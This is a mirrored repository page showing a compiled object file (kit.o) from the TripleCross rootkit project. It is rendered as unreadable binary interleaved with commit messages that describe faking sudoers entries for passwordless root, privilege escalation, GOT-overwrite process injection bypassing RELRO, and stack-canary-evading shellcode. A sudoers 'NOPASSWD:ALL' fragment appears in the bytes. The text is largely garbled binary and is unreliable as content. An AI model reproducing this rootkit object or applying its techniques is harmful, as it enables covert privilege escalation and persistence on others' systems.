admin/TripleCross
1
0
Fork 0
mirror of https://github.com/h3xduck/TripleCross.git synced 2026-01-27 17:53:08 +08:00
Code Issues Packages Projects Releases Wiki Activity
Files
a9fd1441b16b4b8ec876d40cbf088b0bb3e063c7
TripleCross/src/.output/kit.o

1208 lines
403 KiB
Plaintext
Raw Normal View History

Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
ELF>hG@@<00><1E>UH<55><48>H<EFBFBD><48>H<>}<7D>H<EFBFBD>}<7D>t)H<>E<EFBFBD>H<EFBFBD>H<><48>tH<>E<EFBFBD>H<EFBFBD>H<><48><EFBFBD>H<>E<EFBFBD>H<EFBFBD><48><EFBFBD><00><01><><EFBFBD>UH<55><48>H<EFBFBD><48> H<>}<7D><><EFBFBD><00><00>H<>E<EFBFBD>H<EFBFBD>}<7D>u<07><00>EH<45>E<EFBFBD>H<EFBFBD><48><EFBFBD>h<00><>u H<>E<EFBFBD>H<EFBFBD>H<>U<EFBFBD>H<EFBFBD><48>H<EFBFBD><48><EFBFBD><00><>u H<>E<EFBFBD><45><15><><01>H<EFBFBD>E<EFBFBD>H<EFBFBD><48><EFBFBD>P<EFBFBD><50><EFBFBD><EFBFBD><00><>UH<55><48><EFBFBD><00>~<7E><><EFBFBD>]<5D>UH<55><48>H<EFBFBD><48>H<>}<7D>H<EFBFBD>E<EFBFBD>H<EFBFBD>H<><48><EFBFBD><00><>UH<55><48>H<EFBFBD><48> H<>}<7D><>H<00><00>H<>E<EFBFBD>H<EFBFBD>}<7D>u
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<>E<EFBFBD>H<EFBFBD>U<EFBFBD>H<EFBFBD>H<>E<EFBFBD>H<EFBFBD>HH<>E<EFBFBD>H<EFBFBD>H<>PH<>E<EFBFBD>H<EFBFBD>PH<>E<EFBFBD>H<EFBFBD>P H<>E<EFBFBD><45>@(H<>E<EFBFBD><45>@,H<>E<EFBFBD><45>@,Hc<48>H<EFBFBD>E<EFBFBD><45>@(H<>H<EFBFBD><48>H<EFBFBD><48><EFBFBD>H<><48>H<EFBFBD>E<EFBFBD>H<EFBFBD>P0H<30>E<EFBFBD>H<EFBFBD>@0H<30><48><0F>KH<>E<EFBFBD>H<EFBFBD>@0H<30>H<>H<>E<EFBFBD>H<EFBFBD>@0H<30>U<EFBFBD>H<EFBFBD><48>H<>PH<>E<EFBFBD>H<EFBFBD>@0H<30><48>H<>H<>H<>E<EFBFBD>H<EFBFBD>@0H<30><48>H<>U<EFBFBD>H<EFBFBD><48>H<>PH<>E<EFBFBD>H<EFBFBD>@0H<30><48>0H<30>H<>H<>E<EFBFBD>H<EFBFBD>@0H<30><48>0H<30>U<EFBFBD>H<EFBFBD><48> H<>PH<>E<EFBFBD>H<EFBFBD>@0H<30><48>HH<48>H<>H<>E<EFBFBD>H<EFBFBD>@0H<30><48>HH<48>U<EFBFBD>H<EFBFBD><48>(H<>PH<>E<EFBFBD>H<EFBFBD>@0H<30><48>`H<>H<>H<>E<EFBFBD>H<EFBFBD>@0H<30><48>`H<>U<EFBFBD>H<EFBFBD><48>0H<30>PH<>E<EFBFBD>H<EFBFBD>@0H<30><48>`H<>U<EFBFBD>H<EFBFBD><48><EFBFBD>H<>PH<>E<EFBFBD>H<EFBFBD>@0H<30><48>xH<78>H<>H<>E<EFBFBD>H<EFBFBD>@0H<30><48>xH<78>U<EFBFBD>H<EFBFBD><48>8H<38>PH<>E<EFBFBD>H<EFBFBD>@0H<30><48>xH<78>U<EFBFBD>H<EFBFBD><48><EFBFBD>H<>PH<>E<EFBFBD><45>@8 H<>E<EFBFBD><45>@<H<>E<EFBFBD><45>@<Hc<48>H<EFBFBD>E<EFBFBD><45>@8H<38>H<EFBFBD><48>H<EFBFBD><48><EFBFBD>H<><48>H<EFBFBD>E<EFBFBD>H<EFBFBD>P@H<>E<EFBFBD>H<EFBFBD>@@H<><48><0F><>H<>E<EFBFBD>H<EFBFBD>@@H<>H<>H<>E<EFBFBD>H<EFBFBD>@@H<>U<EFBFBD>H<EFBFBD><48>@H<>PH<>E<EFBFBD>H<EFBFBD>@@H<>U<EFBFBD>H<EFBFBD>ˆH<>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>H<>H<>H<>E<EFBFBD>H<EFBFBD>@@H<><48>H<>U<EFBFBD>H<EFBFBD><48>HH<48>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>H<>U<EFBFBD>H<EFBFBD>H<>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>0H<30>H<>H<>E<EFBFBD>H<EFBFBD>@@H<><48>0H<30>U<EFBFBD>H<EFBFBD><48>PH<50>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>0H<30>U<EFBFBD>H<EFBFBD>˜H<>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>HH<48>H<>H<>E<EFBFBD>H<EFBFBD>@@H<><48>HH<48>U<EFBFBD>H<EFBFBD><48>XH<58>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>HH<48>U<EFBFBD>H<EFBFBD> H<>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>`H<>H<>H<>E<EFBFBD>H<EFBFBD>@@H<><48>`H<>U<EFBFBD>H<EFBFBD><48>`H<>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>`H<>U<EFBFBD>H<EFBFBD>¨H<>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>xH<78>H<>H<>E<EFBFBD>H<EFBFBD>@@H<><48>xH<78>U<EFBFBD>H<EFBFBD><48>hH<68>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>xH<78>U<EFBFBD>H<EFBFBD>°H<>PH<>E<EFBFBD>H<EFBFBD>@@H<05>H<>H<>H<>E<EFBFBD>H<EFBFBD>@@H<05>H<>U<EFBFBD>H<EFBFBD><48>pH<70>PH<>E<EFBFBD>H<EFBFBD>@@H<05>H<>U<EFBFBD>H<EFBFBD>¸H<>PH<>E<EFBFBD>H<EFBFBD>@@H<05>H<>H<>H<>E<EFBFBD>H<EFBFBD>@@H<05>H<>U<EFBFBD>H<EFBFBD><48>xH<78>PH<>E<EFBFBD>H<EFBFBD>@@H<05>H<>U<EFBFBD>H<EFBFBD><48><EFBFBD>H<>PH<>E<EFBFBD>H<EFBFBD>@@H<05>H<>H<>H<>E<EFBFBD>H<EFBFBD>@@H<05>H<>U<EFBFBD>H<EFBFBD><48><EFBFBD>H<EFBFBD>PH<>E<EFBFBD>H<EFBFBD>@@H<05>H<>U<EFBFBD>H<EFBFBD><48><EFBFBD>H<>PH<>E<EFBFBD>H<EFBFBD>@P<>H<>E<EFBFBD>H<EFBFBD>H<>P<10><00><15><><01>H<EFBFBD>E<EFBFBD>H<EFBFBD><48><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><1E>UH<55><48>H<EFBFBD><48>@<40>}܉u<DC89>H<EFBFBD>U<EFBFBD>H<EFBFBD>M<EFBFBD>dH<64>%(H<>E<EFBFBD>1<EFBFBD><31>E<EFBFBD>H<>MЋEܺH<>Ή<EFBFBD><CE89>H<>E<EFBFBD>H<EFBFBD>E<EFBFBD><45>TH<54>M<EFBFBD><4D>EܺH<>Ή<EFBFBD><CE89><0F>E<EFBFBD><45><EFBFBD>u<06>E<EFBFBD><01><07>E<EFBFBD><00>}<7D>?~H<>E<EFBFBD>H<EFBFBD><48>H<EFBFBD>=<00><00>H<>E<EFBFBD><45>0H<30>E<EFBFBD>H<>E<EFBFBD>H;E<>r<EFBFBD>H<EFBFBD>U<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD><48>H<EFBFBD>=<00><00><00>H<>M<EFBFBD>dH+ %(t<05><00><><EFBFBD><1E>UH<55><48>H<EFBFBD><48>@<40>}<7D>H<EFBFBD>u<EFBFBD>H<EFBFBD>U<EFBFBD>H<EFBFBD>M<EFBFBD>D<EFBFBD>E<EFBFBD>D<EFBFBD>M<EFBFBD>H<EFBFBD>M<EFBFBD>H<EFBFBD>U<EFBFBD><55>E<EFBFBD><45>@<00><><EFBFBD>H<>E<EFBFBD>H<EFBFBD>E<EFBFBD><45><EFBFBD><EFBFBD><1E>UH<55><48>H<EFBFBD><48><EFBFBD><00>}<7D>H<EFBFBD>u<EFBFBD>H<EFBFBD>U<EFBFBD>H<EFBFBD>M<EFBFBD>L<EFBFBD><4C>x<EFBFBD><78><EFBFBD>L<EFBFBD><4C>p<EFBFBD><70><EFBFBD>dH<64>%(H<>E<EFBFBD>1<EFBFBD>H<EFBFBD>E<EFBFBD>H<>E<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD>M<EFBFBD><4D>E<EFBFBD><45>H<>Ή<EFBFBD><CE89>H<>E<EFBFBD><00>>H<>U<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD> <02>E<EFBFBD><45>H<>Ή<EFBFBD><CE89>H<><48>yH<>=<00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<>E<EFBFBD>H<>E<EFBFBD>H;E<>r<EFBFBD>H<EFBFBD>E<EFBFBD>H<>H<>E<EFBFBD>H<EFBFBD>M<EFBFBD><4D>E<EFBFBD><45>H<>Ή<EFBFBD><CE89>H<>E<EFBFBD><00>>H<>U<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD> <02>E<EFBFBD><45>H<>Ή<EFBFBD><CE89>H<><48>yH<>=<00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>&H<>E<EFBFBD>H<>E<EFBFBD>H;E<>r<EFBFBD>H<EFBFBD>E<EFBFBD>H<>E<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD>E<EFBFBD><00>>H<>U<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD> <02>E<EFBFBD><45>H<>Ή<EFBFBD><CE89>H<><48>yH<>=<00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<>E<EFBFBD>H<>E<EFBFBD>H;E<>r<EFBFBD>H<EFBFBD>E<EFBFBD>ZH<>H<>E<EFBFBD>H<EFBFBD>E<EFBFBD><00>>H<>U<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD> <02>E<EFBFBD><45>H<>Ή<EFBFBD><CE89>H<><48>yH<>=<00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>_H<>E<EFBFBD>H<>E<EFBFBD>H;E<>r<EFBFBD>H<EFBFBD>E<EFBFBD>H<><48>x<EFBFBD><78><EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD>E<EFBFBD><00>>H<>U<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD> <02>E<EFBFBD><45>H<>Ή<EFBFBD><CE89>H<><48>yH<>=<00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<>E<EFBFBD>H<>E<EFBFBD>H;E<>r<EFBFBD>H<EFBFBD>E<EFBFBD>%H<>H<>E<EFBFBD>H<EFBFBD>E<EFBFBD><00>>H<>U<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD> <02>E<EFBFBD><45>H<>Ή<EFBFBD><CE89>H<><48>yH<>=<00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<>E<EFBFBD>H<>E<EFBFBD>H;E<>r<EFBFBD>H<EFBFBD>E<EFBFBD>H<><48>p<EFBFBD><70><EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD>E<EFBFBD><00>;H<>U<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD> <02>E<EFBFBD><45>H<>Ή<EFBFBD><CE89>H<><48>yH<>=<00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>3H<33>E<EFBFBD>H<>E<EFBFBD>H;E<>r<EFBFBD>H<EFBFBD><48>p<EFBFBD><70><EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD><48>H<EFBFBD>=<00><00><00>H<>u<EFBFBD>dH+4%(t<05><00><><EFBFBD><1E>UH<55><48>H<EFBFBD><48><EFBFBD>H<><48>8<EFBFBD><38><EFBFBD>dH<64>%(H<>E<EFBFBD>1<EFBFBD>HDžh<C785><68><EFBFBD><EFBFBD>.@H<>E<EFBFBD><45>d<00>H<><48><EFBFBD>H<><48>8<EFBFBD><38><EFBFBD>H<EFBFBD><48>0H<><48>8<EFBFBD><38><EFBFBD><EFBFBD><00><>H<EFBFBD>=<00><00>H<><48>8<EFBFBD><38><EFBFBD><EFBFBD>H<>E<EFBFBD>H<EFBFBD>5H<>Ǹ<00>H<>E<EFBFBD><45>H<>Ǹ<00><00><>L<EFBFBD><4C><EFBFBD><EFBFBD><00><00>H<><48>p<EFBFBD><70><EFBFBD>H<EFBFBD><48>8<EFBFBD><38><EFBFBD><EFBFBD>H<><48>p<EFBFBD><70><EFBFBD>H<EFBFBD>5H<>Ǹ<00>H<><48>p<EFBFBD><70><EFBFBD>H<EFBFBD>5H<><48><EFBFBD>H<><48>x<EFBFBD><78><EFBFBD><EFBFBD>=L<><4C>@<40><><EFBFBD>H<EFBFBD>}<7D>H<EFBFBD><48>X<EFBFBD><58><EFBFBD>H<EFBFBD><48>P<EFBFBD><50><EFBFBD>H<EFBFBD><48>p<EFBFBD><70><EFBFBD>H<EFBFBD><48>H<><48>`<60><><EFBFBD>VH<56><48>H<EFBFBD><48><EFBFBD>VH<56><48>D<EFBFBD><44><EFBFBD>VM<56><4D>I<EFBFBD><49>H<EFBFBD>5H<>Ǹ<00>H<><48> H<><48>p<EFBFBD><70><EFBFBD>H<EFBFBD><48>H<EFBFBD>=<00><00><0F>E<EFBFBD><x<0F><>L<><4C>`<60><><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD>D<EFBFBD><44>D<EFBFBD><44><EFBFBD>D<EFBFBD><44>@<40><><EFBFBD>H<EFBFBD><48>X<EFBFBD><58><EFBFBD>H<EFBFBD><48>P<EFBFBD><50><EFBFBD>H<EFBFBD>M<EFBFBD><4D><EFBFBD>L<EFBFBD><4C><EFBFBD>APWE<57>Љ<EFBFBD><D089>H<><48>H<>E<EFBFBD>H<EFBFBD>}<7D>tmH<6D><48>8<EFBFBD><38><EFBFBD>L<EFBFBD><4C>H<><48>8<EFBFBD><38><EFBFBD>H<EFBFBD><48> H<><48>8<EFBFBD><38><EFBFBD>H<EFBFBD><48>(H<><48>8<EFBFBD><38><EFBFBD>H<EFBFBD><48>0H<>u<EFBFBD><75><EFBFBD>L<EFBFBD><4C><EFBFBD>M<EFBFBD><4D>I<EFBFBD><49><EFBFBD><EFBFBD><EFBFBD><00><>y H<>=<00>H<>=<00><00>$H<><48>x<EFBFBD><78><EFBFBD>H<EFBFBD><48>p<EFBFBD><70><EFBFBD><EFBFBD>H<><48><EFBFBD>H<><48><0F><><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48>p<EFBFBD><70><EFBFBD>H<EFBFBD><48><EFBFBD><00><>L<EFBFBD><4C><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00>H<>M<EFBFBD>dH+ %(t<05><00><><EFBFBD><1E>UH<55><48>H<EFBFBD><48> H<>}<7D>H<EFBFBD>E<EFBFBD>H<EFBFBD><48>H<EFBFBD>=<00><00>H<>=<00>H<>H<>E<EFBFBD>H<EFBFBD>H<>E<EFBFBD>H<EFBFBD>U<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD><48>H<EFBFBD>=<00><00>H<>H<>E<EFBFBD>H<EFBFBD>H<>E<EFBFBD>H<EFBFBD>U<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD><48>H<EFBFBD>=<00><00>H<>H<>E<EFBFBD>H<EFBFBD>H<>E<EFBFBD>H<EFBFBD>U<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD><48>H<EFBFBD>=<00><00><00><><EFBFBD><EFBFBD><1E>UH<55><48>H<EFBFBD><48> <20>}<7D>H<EFBFBD>u<EFBFBD>H<EFBFBD>U<EFBFBD><55>}<7D>u<0F><00><><01><>t<07><00>H<>H<>U<EFBFBD>H<EFBFBD>M<EFBFBD>H<EFBFBD><48>H<EFBFBD><48><EFBFBD><00><><EFBFBD><1E>UH<55><48>H<EFBFBD><48> dH<64>%(H<>E<EFBFBD>1<EFBFBD>H<EFBFBD>E<EFBFBD><45><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>E<EFBFBD><45><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD>ƿ<00><00><>t*H<>H<><48><EFBFBD>)<00>H<>=<00><00><00><00>H<EFBFBD>E<EFBFBD>dH+%(t<05><00><><EFBFBD><1E>UH<55><48><EFBFBD>}<7D><><01>]<5D><><1E>UH<55><48>H<EFBFBD><48>pH<70>}<7D>H<EFBFBD>u<EFBFBD>H<EFBFBD>U<EFBFBD>dH<64>%(H<>E<EFBFBD>1<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD><48><EFBFBD>H<>E<EFBFBD>H<EFBFBD><48><EFBFBD>H<>E<EFBFBD>H<EFBFBD>U<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD><48>H<EFBFBD><00> H<><48><EFBFBD>H<>E<EFBFBD><45><EFBFBD>@<00><>u8H<38>E<EFBFBD>H<EFBFBD>pH<>E<EFBFBD><45><EFBFBD>H<>E<EFBFBD><45>H<>E<EFBFBD>I<EFBFBD><49>H<EFBFBD><48>H<EFBFBD>=<00><00><00><>H<>E<EFBFBD><45><EFBFBD>@<00><><0F><>H<>E<EFBFBD><45><EFBFBD>@<00><><0F><>H<>E<EFBFBD><45><EFBFBD>@<00><><0F><>H<>E<EFBFBD><45><EFBFBD>@<00><><0F><>H<>E<EFBFBD>D<EFBFBD><44><H<>E<EFBFBD>L<EFBFBD><4C>0H<>E<EFBFBD>H<EFBFBD><48>(H<>E<EFBFBD>H<EFBFBD><48> H<>E<EFBFBD>L<EFBFBD><4C>H<>E<EFBFBD>L<EFBFBD><4C>H<>E<EFBFBD>H<EFBFBD><48>H<>E<EFBFBD><45>H<>E<EFBFBD>AQAPWVM<56><4D>M<EFBFBD><4D>H<EFBFBD><48>H<EFBFBD>=<00><00>H<><48> H<>E<EFBFBD>H<EFBFBD><48><EFBFBD><00><>y&H<>=<00><00>H<>=<00><00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><05>H<>M<EFBFBD>dH+ %(t<05><00><><EFBFBD><1E>UH<55><48>H<EFBFBD><48>P<EFBFBD>}<7D>H<EFBFBD>u<EFBFBD>H<EFBFBD>E<EFBFBD><00><00>}<7D>v<0F><><00>}<7D>v<0F><><00>}<7D>tt/<2F>}<7D>t<0F><><00>}<7D>htu<74>}<7D>h<0F><><00>}<7D>:<0F><><00>}<7D>?tt<74><74>H<>
Completed faking that an user is in the sudoers file. Now user 'test' can use sudo without being there
2022-02-05 14:10:12 -05:00
<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00><00><><EFBFBD><EFBFBD>y{<1A><>y{<1A><>y0{<1A><>y({<1A><>y {<1A><>y{<1A><>y{<1A><>cz<63><7A>{j<><6A><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><00><00><00><00><00><00>{
Improved the pricvesc module which used sudo, now correctly working when the user already has sudo with password capabilities. Now the rootkit userspace helper is correctly launching with root permissions
2022-02-19 11:08:56 -05:00
<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00><00> <00><><EFBFBD><EFBFBD><07>yv<06>ar <00>enk<1A><>now hidd{<1A><>That is {<1A><><00>s<><73><EFBFBD>s<><73><EFBFBD>k<><6B><EFBFBD>{<7B><><EFBFBD>{<7B><><EFBFBD>s<><73><EFBFBD><00>LL #c<1A><>PASSWD:A{<1A><>:ALL) NO{<1A><>ALL=(ALL{<1A><>osboxes {<1A><>aq0<01>{*<2A><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>c<00>p <00><><EFBFBD><EFBFBD>m<08>q<><71><EFBFBD>T<00><00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>m<01>q<><71><EFBFBD>h<00><00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>m<01>q<><71><EFBFBD>U<01>i<00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>m<01>q<><71><EFBFBD>U<01>s<00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>m<01>q<><71><EFBFBD>U<01> <00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>m<01>q<><71><EFBFBD>U<01>w<00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>m<01>q<><71><EFBFBD>U<01>o<00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>mq<><71><EFBFBD>U}n<00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>muq<><71><EFBFBD>Us'<00>c <00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>mkq<><71><EFBFBD>Uit<00>c
Finished injection module at userspace using /proc/<pid>/maps, enables to overwrite the GOT section with RELRO activated
2022-04-07 07:11:28 -04:00
<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>maq<><71><EFBFBD>U_ <00>c <00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>mWq<><71><EFBFBD>UUb<00>c <00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>mMq<><71><EFBFBD>UKe<00>c <00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>mCq<><71><EFBFBD>UA <00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>m9q<><71><EFBFBD>U7s<00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>m/q<><71><EFBFBD>U-e<00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>m%q<><71><EFBFBD>U#e<00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>mq<><71><EFBFBD>Un<00><00>y<><79><EFBFBD><00>d<00><00>s <00><00><00><00><00><00>s<00><00><><00><><EFBFBD><EFBFBD><EFBFBD>a<00><00>$<00> m &<00><><00><00><><00><><EFBFBD><EFBFBD><EFBFBD>a<00>$<00>$e<00><><EFBFBD><EFBFBD>.<00><00> <00><><EFBFBD><EFBFBD><00><><00>#s<1A><><00>% <00><00>aq<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>$e<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>L<00>3<00><00><00><00> <00><><00><00><00><00><><00><00><00>{j<><6A><00> {<7B><><EFBFBD>{<7B><><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD><00><00><><EFBFBD><EFBFBD>g <00> m Os<><73><EFBFBD>c<><63><EFBFBD>{<7B><><EFBFBD>ys<00><><00><><EFBFBD><EFBFBD><EFBFBD>q<00> <00>p{<7B><><EFBFBD>w cj<63><6A>{<7B><><EFBFBD>{<7B><><EFBFBD>{<7B><><EFBFBD>{<7B><><EFBFBD>{<7B><><EFBFBD>{<7B><><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD> <00>s<00><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><00>q<><71><EFBFBD>s%q<><71><EFBFBD>U#uq<><71><EFBFBD>U!dq<><71><EFBFBD>Uoq<><71><EFBFBD>Uq<><71><EFBFBD>/q<><71><EFBFBD>Ueq<><71><EFBFBD>Utq<><71><EFBFBD>Ucq<><71><EFBFBD>U/q<><71><EFBFBD>Usq<><71><EFBFBD>U uq<><71><EFBFBD>U dq<><71><EFBFBD>U oq<><71><EFBFBD>Ueq<><71><EFBFBD>Urq<><71><EFBFBD>Us<00> q<><71><EFBFBD><00> c<><63><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><00><00><00><><00><00><00><00>a<01><00>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{x<>{p<>{h<>{`<60>{X<><00><><EFBFBD><EFBFBD><06>yc<03><00><><00><><EFBFBD><EFBFBD><EFBFBD>@<00>pe<00><><EFBFBD><EFBFBD><00><00><00>yc<00><>X<><58><EFBFBD><EFBFBD>@<00>pe<00><><EFBFBD><EFBFBD><00><00><00>sW<>sV<><00>ts*S<>s*O<><00>ds*U<>s*K<><00>ks*J<><00>as*R<>s*M<>s*H<><00>js*G<><00>is*P<>s*F<><00>_s*D<><00>vs*Q<>s*B<><00>ps*9<><00>ls*8<><00>cs*N<>s*I<>s*A<>s*4<><00>rs*;<3B>s*3<><00>Gs*0<><00>Fs*/<2F><00>Ts*.<2E><00>xs*?<3F>s**<2A><00>bs*(<28><00>ss*<<3C>s*2<>s*,<2C>s*'<27><00>es*T<>s*L<>s*C<>s*@<40>s*><3E>s*:<3A>s*7<>s*+<2B>s*$<24><00>ms*#<23><00>os*)<29>s*&<26>s*"<22><00>hs*E<>s*6<>s*!<21><00>/s*=<3D>s*5<>s*1<>s*-<2D>s*%<25>s* <20><00><><EFBFBD><EFBFBD>y<><79><EFBFBD>_{<1A><>s<1A><>yaUZ<00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>e<00><><EFBFBD><EFBFBD>\q<><71><EFBFBD>Uwr<00><00><00><><EFBFBD><EFBFBD>UHya<00><> <20><><EFBFBD><EFBFBD>8<00>$e<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>X<><58><EFBFBD><00>$<00>;yaY<00><00>$e7<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>X<><58><EFBFBD><00><00>,<00><00><><00>c!<00>{<18>{<10>{<08>{<00>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>yc<00><><00><><EFBFBD><EFBFBD><EFBFBD>@<00>pe<00><><EFBFBD><EFBFBD>9<00><00>yc<00><><00><><EFBFBD><EFBFBD><EFBFBD>@<00>pe<00><><EFBFBD><EFBFBD>H<00><00><00><00>p<00>yc<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pe<00><><EFBFBD><EFBFBD><00><00><>yc<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pe<00><><EFBFBD><EFBFBD><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>e<00><><EFBFBD><EFBFBD><00><00><>q<><71><EFBFBD>U
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
w<00><00><00>ya<00><>X<><58><EFBFBD><EFBFBD><00>$<00><>ya<00><>X<><58><EFBFBD><EFBFBD><00>$<00><00><>ay <00> {<7B><><EFBFBD>{<7B>x<EFBFBD><00><>x<><78><EFBFBD><EFBFBD><00><00><><EFBFBD><EFBFBD>g <00> m <09>6q<>x<EFBFBD><00>s<00>6q<>y<EFBFBD><00>U<01>6iq<>z<EFBFBD><00>U<01>6mq<>{<7B><00>U<01>6pq<>|<7C><00>U}6l<00><>x<><78><EFBFBD><00>
<00><00>i<00>{jp<6A><00>!<00><><00><><00><00><><00><><EFBFBD><EFBFBD>{X<><00>{<7B>h<EFBFBD>y<00><>p<><70><EFBFBD><EFBFBD><00><><00>y<>p<EFBFBD><00><> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD>
<00><><00>{z`<60>mq<><71><EFBFBD><00>y<>h<EFBFBD><00><00>$<00><><00><00>c<1A><><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pe<00><><EFBFBD><EFBFBD>(<00>#<00><00><>a<><61><EFBFBD>K<00> <00>W<00> <00><><00>a<><61><EFBFBD>g <00> `<00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00><><00><00><><00><><EFBFBD><EFBFBD><EFBFBD>
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00><><00>pq<><71><EFBFBD>j<00> <00>q<><71><EFBFBD>w<00> <00>q<><71><EFBFBD><00><00> <00>q<><71><EFBFBD><00><00> <00><00><00>q<><71><EFBFBD><00>y<>h<EFBFBD>%<00>q<><71><EFBFBD><00><00>_7WU<00> U<02><00>U<01>q<><71><EFBFBD>U<01><00>q<><71><EFBFBD><00>U<01>%{JP<4A><00><00><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00> {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00><00><00><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00>  {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00><00><00> <00><><EFBFBD><EFBFBD>y<><79><EFBFBD>m<00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD><00><00><00><00><00>.@{<1A><><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>$e<00><><EFBFBD><EFBFBD><00><00>
